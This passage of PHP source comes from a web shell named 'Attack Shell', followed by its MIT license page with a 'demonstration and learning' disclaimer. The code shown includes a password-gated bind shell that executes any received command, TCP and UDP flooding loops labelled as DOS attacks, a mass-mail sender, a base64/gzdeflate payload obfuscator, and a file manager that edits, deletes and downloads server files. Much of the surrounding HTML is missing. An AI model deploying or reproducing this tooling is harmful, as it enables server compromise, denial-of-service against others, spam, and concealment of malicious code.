1678 | $passwordPrompt = "\n=================================================================\nAttack Shell\n=================================================================\n\n0xPassword : ";
1679 |
1680 | /* Accept incoming requests and handle them as child processes */
1681 | $client = socket_accept($sockfd);
1682 |
1683 |
1684 | socket_write($client , $passwordPrompt);
1685 | // Read the pass from the client
1686 | $input = socket_read($client, strlen($pass) + 2); // +2 for \r\n
1687 | if(trim($input) == $pass)
1688 | {
1689 | socket_write($client , "\n\n");
1690 | socket_write($client , ($os == "Windows") ? exec_all("date /t & time /t") . "\n" . exec_all("ver") : exec_all("date") . "\n" . exec_all("uname -a"));
1691 | socket_write($client , "\n\n");
1692 | while(1)
1693 | {
1694 | // Print Command prompt
1695 | $commandPrompt ="(attack-Shell)[$]> ";
1696 | $maxCmdLen = 31337;
1697 | socket_write($client,$commandPrompt);
1698 | $cmd = socket_read($client,$maxCmdLen);
1699 | if($cmd == FALSE)
1700 | {
1701 | echo "The client Closed the conection!";
1702 | break;
1703 | }
1704 | socket_write($client , exec_all($cmd));
1705 | }
1706 | }
1707 | else
1708 | {
1709 | echo "Wrong Password!";
1710 | socket_write($client, "sU(|< - 0FF Bitch!\n\n");
1711 | }
1712 | socket_shutdown($client, 2);
1713 | socket_close($socket);
1714 |
1715 | // Close the client (child) socket
1716 | //socket_close($client);
1717 | // Close the master sockets
1718 | //socket_close($sock);
1719 | }
1720 | else
1721 | {
1722 | echo "Socket Conections not Allowed/Supported by the server! ";
1723 | }
1724 | }
1725 | else
1726 | {
1727 | ?>
1728 |
1729 |
1730 |
1731 |
1732 |
1733 |
1734 |
1735 |
1736 |
1755 |
1756 |
1757 |
1758 |
1759 |
1782 |
1783 |
1784 |
1785 |
1786 | Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!
1787 | $data
";
1834 |
1835 | print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message ";
1836 | for($i=0;$i<$times;$i++)
1837 | {
1838 | $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
1839 | if($socket)
1840 | {
1841 | fwrite($socket , $data , $length );
1842 | fclose($socket);
1843 | }
1844 | }
1845 | echo "";
1846 | echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")." ";
1847 | echo "Total Number of Packets Sent : " . $times . " ";
1848 | echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . " ";
1849 | echo "Data per packet = " . HumanReadableFilesize($length) . " ";
1850 | }
1851 | else
1852 | {
1853 | ?>
1854 |
1855 |
1856 |
1915 |
1916 | ";
1952 |
1953 | while(1)
1954 | {
1955 | $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
1956 | if($socket)
1957 | {
1958 | fwrite($socket , $data);
1959 | fclose($socket);
1960 | $packets++;
1961 | }
1962 | if(time() >= $maxTime)
1963 | {
1964 | break;
1965 | }
1966 | }
1967 | echo "";
1968 | echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")." ";
1969 | echo "Total Number of Packets Sent : " . $packets . " ";
1970 | echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . " ";
1971 | echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . " ";
1972 | }
1973 | else
1974 | {
1975 |
1976 | ?>
1977 |
1978 |
1979 |
2033 |
2034 | Some Error Occured!";
2068 | break;
2069 | }
2070 | }
2071 | if($error != 1)
2072 | {
2073 | echo "Mail(s) Sent!
";
2074 | }
2075 | }
2076 | else
2077 | {
2078 | ?>
2079 |
2080 |
2081 |
2133 |
2134 | Mail Sent!";
2153 | }
2154 | else
2155 | {
2156 | echo "Some Error Occured!
";
2157 | }
2158 | }
2159 | else
2160 | {
2161 | ?>
2162 |
2163 |
2164 |
2206 |
2207 | Permission Denied";
2225 | else {
2226 | fwrite($handle,$_POST['content']);
2227 | echo "Your changes were Successfully Saved!";
2228 | }
2229 | }
2230 | else
2231 | {
2232 | echo "File Name Specified does not exists!
";
2233 | }
2234 | }
2235 |
2236 | // PHP Obfuscator
2237 |
2238 | else if(isset($_GET['obfuscate']))
2239 | {
2240 | if ( isset($_POST['code']) &&
2241 | $_POST['code'] != '')
2242 | {
2243 | $encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),''),9)); // high Compression! :P
2244 | $encode = '
2245 |
2250 | ';
2251 | }
2252 | else
2253 | {
2254 | $encode = 'Please Enter your Code! and Click Submit! :)';
2255 | }?>
2256 |
2257 |
2258 |
2259 |
2260 |
2261 |
2269 |
2270 |
2271 |
2279 | Permission Denied";
2289 | else {
2290 | while(!feof())
2291 | {
2292 | echo htmlspecialchars(fgets($fd));
2293 | }
2294 | }
2295 | }
2296 |
2297 | ?>
2298 |
2299 |
2300 |
2301 |
2313 |
Cant rename the file specified! Please check the file-name , Permissions and try again!
2314 |
2319 |
File Renamed , Return Here
2320 |
2326 |
2327 |
2335 |
2336 |
2337 | ";
2346 | $dir = getcwd();
2347 | if(isset($_GET['dir']))
2348 | {
2349 | $dir = $_GET['dir'];
2350 | }
2351 | ?>
2352 |
2360 |
2361 |
2362 |
2363 |
2364 |
2365 |
2366 |
2367 |
2368 |
2369 |
2370 | Could Not Delete the FILE Specified";
2377 | }
2378 | }
2379 |
2380 | else if(isset($_GET['delete_dir']))
2381 | {
2382 | if(rmdir(($_GET['delete'])) == FALSE)
2383 | {
2384 | echo "Could Not Delete the DIRECTORY Specified
";
2385 | }
2386 | }
2387 |
2388 | if(is_dir($dir))
2389 | {
2390 | $handle = opendir($dir);
2391 | if($handle != FALSE)
2392 | {
2393 | if($dir[(strlen($dir)-1)] != $SEPARATOR){$dir = $dir.$SEPARATOR;}
2394 | while (($file = readdir($handle)) != false) {
2395 | if ($file != "." && $file != "..")
2396 | {
2397 |
2398 | $color = 'red';
2399 | if(is_readable($dir.$file))
2400 | {
2401 | $color = 'yellow';
2402 | }
2403 | if(is_writable($dir.$file))
2404 | {
2405 | $color = 'green';
2406 | }
2407 |
2408 | if(is_dir($dir.$file))
2409 | {
2410 | ?>
2411 |
2412 | /
2413 |
2414 |
2415 | Delete
2416 | Rename
2417 | Download (zip)
2418 |
2419 |
2425 |
2426 |
2427 |
2428 |
2429 | Delete
2430 | Rename
2431 | Download (zip)
2432 |
2433 | Permission Denied";
2443 | }
2444 | ?>
2445 |
2446 |
2451 |
2452 |
2457 |
2458 |
2459 |
2460 |
2461 |
--------------------------------------------------------------------------------
/license.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Attack Shell - License
6 |
7 |
8 |
9 |
10 |
11 |
12 | MIT License
13 | Copyright (c) 2016, 2017 Franzwagner Ternus
14 | Note: This software was intended to be used for Demonstration and Learning Purposes only. The author is not responsible for any damage it may cause and user holds full responsibility of his/her actions.
15 |
16 |
17 |
18 |
19 |
22 |
23 |
24 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
25 |
26 |
27 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
28 |
29 |
30 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
31 |
32 |
33 |
34 |
35 |
36 | Go Back
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------